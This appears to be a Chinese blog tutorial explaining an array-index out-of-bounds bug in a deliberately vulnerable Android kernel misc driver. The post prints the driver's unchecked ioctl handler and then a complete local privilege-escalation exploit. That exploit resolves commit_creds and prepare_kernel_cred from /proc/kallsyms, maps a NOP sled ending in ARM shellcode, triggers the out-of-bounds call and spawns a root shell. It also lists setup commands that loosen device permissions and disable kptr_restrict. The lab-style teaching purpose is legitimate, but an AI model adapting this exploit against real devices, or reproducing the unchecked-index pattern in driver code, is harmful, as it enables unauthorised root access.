android内核驱动 杂项,[原创]一个内核驱动的数组越界访问漏洞

我想给大家介绍一个安卓内核驱动的数组访问越界漏洞。关于如何搭建漏洞环境可以看我的相关博文,里面介绍了如何获得相关源码以及模拟器内核等的环境设置。

你也可以看我其他的博文,有关于如何编译内核模块的,可以帮你更好地完成实验。

同时,我也录了一个视频,如果不想看文章的朋友可以直接看视频。

好了,先让我来看看那个杂项驱动的源码。

CommandHandler handlers[] = {

{

.runHandler = &doNothingIntializer

},

{

.runHandler = &doNothingIntializer

}

};

long ai_ch_ioctl(struct file *filp,

unsigned int cmd,

unsigned long arg)

{

unsigned int handler_index = arg;

switch (cmd) {

case RUN_COMMAND_HANDLER:

handlers[handler_index].runHandler();

break;

default :

printk("Unknown ioctl cmd: %d", cmd);

return -1;

}

return 0;

}

我这里就不介绍杂项设备了,网上有不少资料。这里的漏洞就是我们调用

handlers[handler_index].runHandler();

时,代码没有检测我们输入的handler_index,我们就可以访问数组外的地址,从而有可能使其调到我们指定的位置执行代码。这里有张图很好,可以看下。

23b860bbcacf36cc9b9180bb54d38190.png

基本的想法就是这里我们输入0的话,它会访问handlers[0]所指向的函数,这里就是0xC00C1000。 如果我们输入4,它就会访问0xDEADBEEF处的函数了。

让我们看下solution的源码。里面有这个get_sysmbol函数。

__u32

get_symbol(char *name)

{

FILE *f;

__u32 addr;

char dummy, sname[512];

int ret = 0;

f = fopen("/proc/kallsyms", "r");

if (!f) {

return 0;

}

while (ret != EOF) {

ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sname);

if (ret == 0) {

fscanf(f, "%s\n", sname);

continue;

}

if (!strcmp(name, sname)) {

printf("[+] resolved symbol %s to %p\n", name, (void *) addr);

return addr;

}

}

return 0;

}

这个函数就是为了获得commit_creds 和 prepare_kernel_cred的地址,从而在shellcode里面运行commit_creds(prepare_kernel_cred)从而变成root id。Main函数也非常简单。

int main(void){

commit_creds =  get_symbol("commit_creds");

prepare_kernel_cred = get_symbol("prepare_kernel_cred");

int cmd_handler = open("/dev/array_index", O_RDWR);

check(cmd_handler >= 0, "Error opening challenge device");

__u32 mmap_start = 0x02000000, mmap_size = 0x15000;

printf("[+] Mapping userspace memory at 0x%x\n", mmap_start);

void * mapped = mmap((void*)mmap_start, mmap_size, PROT_READ|PROT_WRITE|PROT_EXEC,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);

check(mapped != MAP_FAILED, "Failed mapping");

//0x00000000 is nop for ARM

bzero( (void*)mmap_start, mmap_size );

__u32 jump[] = {

//00000000 <_start>:

/*   0:*/   0xe92d4010,           //  push    {r4, lr}

/*   4:*/   0xe59f3010,           //  ldr r3, [pc, #16]   ; 1c <_start> (prepare_kernel_creds)

/*   8:*/   0xe3a00000,           //  mov r0, #0

/*   c:*/   0xe12fff33,           //  blx r3

/*  10:*/   0xe59f3008,           //  ldr r3, [pc, #8]    ; 20 <_start>  (commit_creds)

/*  14:*/   0xe12fff33,           //  blx r3

/*  18:*/   0xe8bd8010,           //  pop {r4, pc}

/*  1c:*/   prepare_kernel_cred,  //  .word   prepare_kernel_cred

/*  20:*/   commit_creds          //  .word   commit_creds

};

memcpy( (void*)mmap_start+mmap_size - sizeof(jump), jump, sizeof(jump));

printf("[+] Triggering the exploit\n");

int rc = ioctl(cmd_handler, RUN_COMMAND_HANDLER, 0x601);

check(rc != -1, "IOCTL failed");

printf("uid=%d, euid=%d\n",getuid(), geteuid() );

if(!getuid())

execl( "/system/bin/sh", "sh", (char*) NULL);

return 0;

error:

return -1;

}

这里首先mmap了一段内存,然后清空了内存,在内存最后面复制上我们的shellcode。这保证了我们jump到指定地址后可以一路通过nop指令滑到我们那个shellcode。好了,大致原理就是这个,听起来很简单吧,但是实际操作起来却又会有不少问题。

好了,让我们动手吧。

首先,改变一下驱动源代码。

62e93daa15308dc72d3e220ed2ebd145.png

这里我们打印出array后面200个地址内存的数值,从中选择一个合理的基地址mmap。这里因为只是用这个介绍漏洞所以我们偷下懒。实际上我们需要一个个去试index直到我们找到合适的mmap地址为止。我有尝试写一个脚本自动化选择那个基址,但是因为涉及到多线程什么的,还要考虑那个脚本里面启动模拟器等等问题,最终没弄成,所以直接偷懒找了个基址。有兴趣的朋友也可以自己去写下脚本。

好了,我们看下加载驱动时它打印出来的那些地址。

4aed5ba07686518c053c36d3947606e9.png

这里我直接选了一小段出来。这里选择地址需要比较小心。因为地址最后一位如果是1的话,跳到那里会执行thumb指令集,而我们的shellcode用的是arm指令集,所以必须选偶数地址。这里我选择了165那里的那个地址,所以solution的代码变成了这样。

d34f9cf318bd222f6c52002113bc0f02.png

在你使用这个二进制文件前,必须得在adb shell里面执行这两条指令。

“chmod 777 /dev/array_index”

“echo 0 > /proc/sys/kernel/kptr_restrict”

第一条是为了让普通权限的用户也能写那个杂项驱动。第二条是为了让用户可以获取内核那两个提权函数的地址。因为这里只是一个示例性的exp,所以这些前提就不去计较了。

最后,跑下exp就好啦。

01b8803f1ece35f6ff2ad26a7d26ce50.png

所有的代码可以去我的github上面下载:samohyes。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值